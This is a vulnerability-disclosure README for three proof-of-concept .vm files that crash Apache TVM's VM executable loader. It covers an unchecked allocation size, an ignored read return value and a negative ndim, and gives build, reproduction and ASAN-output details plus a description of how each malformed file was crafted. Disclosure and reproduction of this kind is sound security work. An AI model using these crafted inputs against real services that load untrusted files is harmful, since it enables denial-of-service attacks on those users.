YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
TVM VM Executable Deserialization Vulnerabilities β PoC Files
Overview
Three crafted .vm binary files that trigger memory safety vulnerabilities in
Apache TVM's VMExecutable::LoadFromBytes() / VMExecutable::LoadFromFile()
deserialization code.
Affected component: src/runtime/vm/executable.cc, include/tvm/support/serializer.h, include/tvm/runtime/tensor.h
Affected format: TVM VM Executable binary format (magic: 0xD225DE2F4214151D)
PoC Files
| File | Vulnerability | Impact |
|---|---|---|
poc1_unchecked_alloc.vm |
Unchecked uint64_t vector allocation size in Serializer<vector>::Read |
DoS (OOM crash), heap overflow on 32-bit |
poc2_ignored_read.vm |
Ignored strm->Read() return in LoadConstantSection β uninitialized allocation size |
DoS (crash from garbage allocation size) |
poc3_negative_ndim.vm |
Negative ndim in Tensor::Load β vector<int64_t>(SIZE_MAX) |
DoS (immediate crash) |
Reproduction
Quick (Python)
git clone https://github.com/apache/tvm.git && cd tvm
# Build TVM following official instructions
# Then:
python3 reproduce.py poc1_unchecked_alloc.vm
python3 reproduce.py poc2_ignored_read.vm
python3 reproduce.py poc3_negative_ndim.vm
Recommended (C++ with AddressSanitizer)
# 1. Clone and build TVM with ASAN
git clone --recursive https://github.com/apache/tvm.git
cd tvm && mkdir build && cd build
cp ../cmake/config.cmake .
cmake .. -DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address"
make -j$(nproc) tvm_runtime
export TVM_HOME=$(pwd)/..
# 2. Compile the reproducer
g++ -fsanitize=address -fno-omit-frame-pointer -g -O0 \
-I$TVM_HOME/include \
-I$TVM_HOME/3rdparty/tvm-ffi/include \
-I$TVM_HOME/3rdparty/tvm-ffi/3rdparty/dlpack/include \
-L$TVM_HOME/build -L$TVM_HOME/build/lib \
-ltvm_runtime -ltvm_ffi \
-Wl,-rpath,$TVM_HOME/build -Wl,-rpath,$TVM_HOME/build/lib \
-o reproduce_cpp reproduce.cpp
# 3. Run each PoC
./reproduce_cpp poc1_unchecked_alloc.vm
./reproduce_cpp poc2_ignored_read.vm
./reproduce_cpp poc3_negative_ndim.vm
Expected ASAN Output
poc1_unchecked_alloc.vm:
==PID==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0x2fffffffa0 bytes
#0 operator new(unsigned long)
#1 std::vector<VMFuncInfo>::resize(unsigned long)
#2 Serializer<std::vector<VMFuncInfo>>::Read() serializer.h:143
#3 VMExecutable::LoadGlobalSection() executable.cc:306
#4 VMExecutable::LoadFromBytes() executable.cc:203
poc2_ignored_read.vm:
==PID==ERROR: AddressSanitizer: requested allocation size 0x3fe0151221f80 exceeds maximum
#0 operator new(unsigned long)
#1 std::vector<long>::vector(unsigned long)
#2 VMExecutable::LoadConstantSection() executable.cc:350
#3 VMExecutable::LoadFromBytes() executable.cc:211
poc3_negative_ndim.vm:
Crash: cannot create std::vector larger than max_size()
How the PoC Files Were Created
Each file is a minimal TVM VM executable binary with a valid header (magic number 0xD225DE2F4214151D + version string "0.14") followed by a malformed section that triggers the specific vulnerability:
poc1: Valid header, then a
uint64_tvector count of0x7FFFFFFF(2 billion) in the Global Section.Serializer<vector<VMFuncInfo>>::Read()atserializer.h:143callsvec->resize(0x7FFFFFFF)without bounds checking.poc2: Valid header + empty Global Section + 1 constant of type
kTVMFFIShape(69), then truncated β no size field follows.LoadConstantSection()atexecutable.cc:349callsstrm->Read(&size)but ignores the return value. Thesizevariable contains stack garbage, which is used forstd::vector<index_type>(size).poc3: Valid header + empty Global Section + 1 tensor constant with
ndim = -1(0xFFFFFFFF as int32).Tensor::Load()attensor.h:285passes this tostd::vector<int64_t>(ndim)where the signed-to-unsigned conversion producesSIZE_MAX.
Conditions to Trigger
- The application must load a
.vmfile from an untrusted source usingVMExecutable::LoadFromBytes()orVMExecutable::LoadFromFile(). - No authentication, sandboxing, or format validation is required β the magic number and version string pass validation, and the crash occurs during section parsing.
- Applies to all platforms (Linux, macOS, Windows) and all architectures (x86_64, ARM, RISC-V).